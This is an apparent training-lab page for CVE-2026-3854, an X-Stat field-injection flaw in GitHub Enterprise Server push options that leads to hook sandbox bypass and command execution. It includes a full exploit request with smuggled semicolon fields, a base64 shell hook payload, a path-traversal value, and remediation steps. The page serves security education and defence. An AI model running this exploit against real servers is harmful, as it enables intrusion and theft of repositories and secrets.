VT-2026-3854

GitHub Enterprise Server - X-Stat Field Injection to Pre-Receive Hook RCE

CRITICAL 8.7CVErcegithubghesauthenticated

Run this lab

$vt start --id vt-2026-3854

Lab not starting or behaving wrong? Report a problem with this lab

Summary

⚠️ NOTE: This is a SIMULATED vulnerability environment using Python/Flask. The actual GitHub Enterprise Server (babeld / pre-receive binaries) is NOT included — GHES is closed-source commercial software and cannot be redistributed. The lab emulates the exact vulnerable X-Stat parsing and hook-resolution behavior described in the advisory for educational purposes.

GitHub Enterprise Server versions up to and including 3.19.1 are affected by a remote code execution vulnerability (CVE-2026-3854) in the internal git protocol. babeld copies git push-option values directly into the internal X-Stat header without sanitizing ';', the header's field delimiter. An authenticated user with push access can inject a single push option value containing extra fields (rails_env=development, custom_hooks_dir, repo_pre_receive_hooks) that disable the pre-receive hook sandbox and redirect hook resolution to an attacker-controlled, path-traversed location, resulting in arbitrary command execution as the git service user via a single git push -o command. GitHub.com was also affected and was patched within 6 hours of report.

Technical detail

Vulnerable data flow (reproduced in app/app.py): 1. build_x_stat(): "user=demo;client=git/2.40.0" plus, for every push option, ";option=" + value — the value is never checked for ';'. 2. parse_fields(): splits the resulting string on ';' into key=value pairs. An attacker's single push-option value such as "id=abc123;rails_env=development;custom_hooks_dir=/tmp/evil; repo_pre_receive_hooks=pwn.sh" therefore injects four extra fields instead of the one intended. 3. sandboxed = fields.get("rails_env") != "development" — the injected rails_env flips this to False, disabling the sandbox. 4. hooks_dir defaults to /srv/hooks/safe, but when unsandboxed it is replaced by the attacker-controlled custom_hooks_dir with no jail or path canonicalization check (path traversal). 5. hook_path = os.path.join(hooks_dir, hook_name) is written with the attacker-supplied hook_payload and executed via `/bin/sh <hook_path>` as the service account (gituser in the lab; the git service user on real GHES). repo_pre_receive_hooks carries its own path-traversal primitive independent of custom_hooks_dir: rails_env=development plus repo_pre_receive_hooks=../../../tmp/x.sh alone (no custom_hooks_dir at all) writes and executes the hook outside /srv/hooks/safe entirely, because hook_path is never canonicalized or jail-checked before use. Authentication: the endpoint requires a valid push-access bearer token (Authorization: Bearer demo-user-push-token-123 in the lab), matching the advisory's "any authenticated user with push access" prerequisite — no elevated/admin privilege is needed. A single HTTP request (mirroring a single `git push -o ...`) is sufficient to go from field injection to command execution. Simulation fidelity (vs. the Wiz advisory): Faithfully reproduced: the root cause (push-option values copied into the internal X-Stat header without escaping ';'), ';' acting as the field delimiter and the resulting field injection, the three abused fields (rails_env=development disables the sandbox; custom_hooks_dir and repo_pre_receive_hooks drive hook resolution), the "authenticated user with push access" prerequisite, a single request (one `git push -o`) being sufficient, and the published CVSS 8.7 / affected <= 3.19.1 / fixed-version set. Deliberately simplified, because GHES is closed-source and its binaries cannot be redistributed: the babeld -> gitrpcd trust chain is collapsed into a single Flask service; push options are labelled option=<value> rather than push_option_0/1...; the sandbox toggle keys on the exact advisory value rails_env=development; and repo_pre_receive_hooks writes-then-executes a hook payload instead of traversing to a pre-existing on-disk binary. The bug class and the end-to-end field-injection -> sandbox-bypass -> hook-RCE path are identical. Validation (exercised live against this lab): - GET / -> banner "GHES-sim internal relay ... build 3.19.1" - POST with no / wrong token -> 401 (a valid push credential is required) - Baseline, no ';' injection -> sandboxed:true, executed:false; hook stays in /srv/hooks/safe - Field-injection exploit -> sandboxed:false, executed:true; output "VT_2026_3854_PWNED_1500_gituser" - Path traversal on its own -> repo_pre_receive_hooks=../../../tmp/x.sh resolves to /tmp/x.sh, escaping the safe dir - nuclei vt-2026-3854.nuclei.yaml -> critical match (2/2 requests)

Impact

An authenticated attacker with push access to any repository can execute arbitrary commands as the git service user. On real GitHub Enterprise Server this yields access to all repositories and secrets on the instance; on GitHub.com, access to repositories on the shared storage node was possible before the 6-hour patch.

Exploitation & proof of concept

X-Stat field injection via unsanitized push-option semicolon leads to pre-receive hook RCE

The /internal/git-receive endpoint (simulating babeld's push-option handling) concatenates each push-option value into the X-Stat header without escaping ';'. Because ';' is also the field delimiter, a single push-option value can smuggle additional fields. Setting rails_env=development disables the hook sandbox; custom_hooks_dir and repo_pre_receive_hooks are then used, unvalidated, to resolve and execute a hook script as the service user.

POST/internal/git-receiveparam=push_optionsauth required

REQUEST
POST /internal/git-receive HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer demo-user-push-token-123

{"push_options":["id=abc123;rails_env=development;custom_hooks_dir=/tmp/evil;repo_pre_receive_hooks=pwn.sh"],"hook_payload":"IyEvYmluL3NoCmVjaG8gVlRfMjAyNl8zODU0X1BXTkVEXyQoaWQgLXUpXyQod2hvYW1pKQo="}
RESPONSE
HTTP/1.1 200 OK
Content-Type: application/json

{"executed":true,"sandboxed":false,"resolved_hook_path":"/tmp/evil/pwn.sh","output":"VT_2026_3854_PWNED_1500_gituser\n"}

Nuclei detection: vt-2026-3854.nuclei.yaml

Remediation

- Upgrade GitHub Enterprise Server to 3.14.24, 3.15.19, 3.16.15, 3.17.12, 3.18.6, or 3.19.3 or later. - Sanitize or reject ';' and other delimiter characters in any value copied into an internal protocol header. - Never let externally influenced fields (rails_env, custom_hooks_dir, repo_pre_receive_hooks) control sandbox state or hook resolution paths. - Canonicalize and jail-check any filesystem path built from request-derived input before executing it.

Lab setup notes

  • docker compose up -d
  • Wait for the healthcheck to pass (a few seconds)
  • Banner: curl http://localhost:8385/
  • Auth: every POST /internal/git-receive needs header 'Authorization: Bearer demo-user-push-token-123', otherwise 401
  • Baseline (no injection): POST /internal/git-receive with push_options ['id=abc123'] -> sandboxed:true, executed:false
  • Exploit: put ';rails_env=development;custom_hooks_dir=/tmp/evil;repo_pre_receive_hooks=pwn.sh' inside one push option, plus a base64 hook_payload -> sandboxed:false, executed:true (full request: see the Exploit Chain above and the nuclei PoC)
  • Path traversal alone: repo_pre_receive_hooks=../../../tmp/x.sh escapes /srv/hooks/safe
  • nuclei -t vt-2026-3854.nuclei.yaml -u http://localhost:8385

References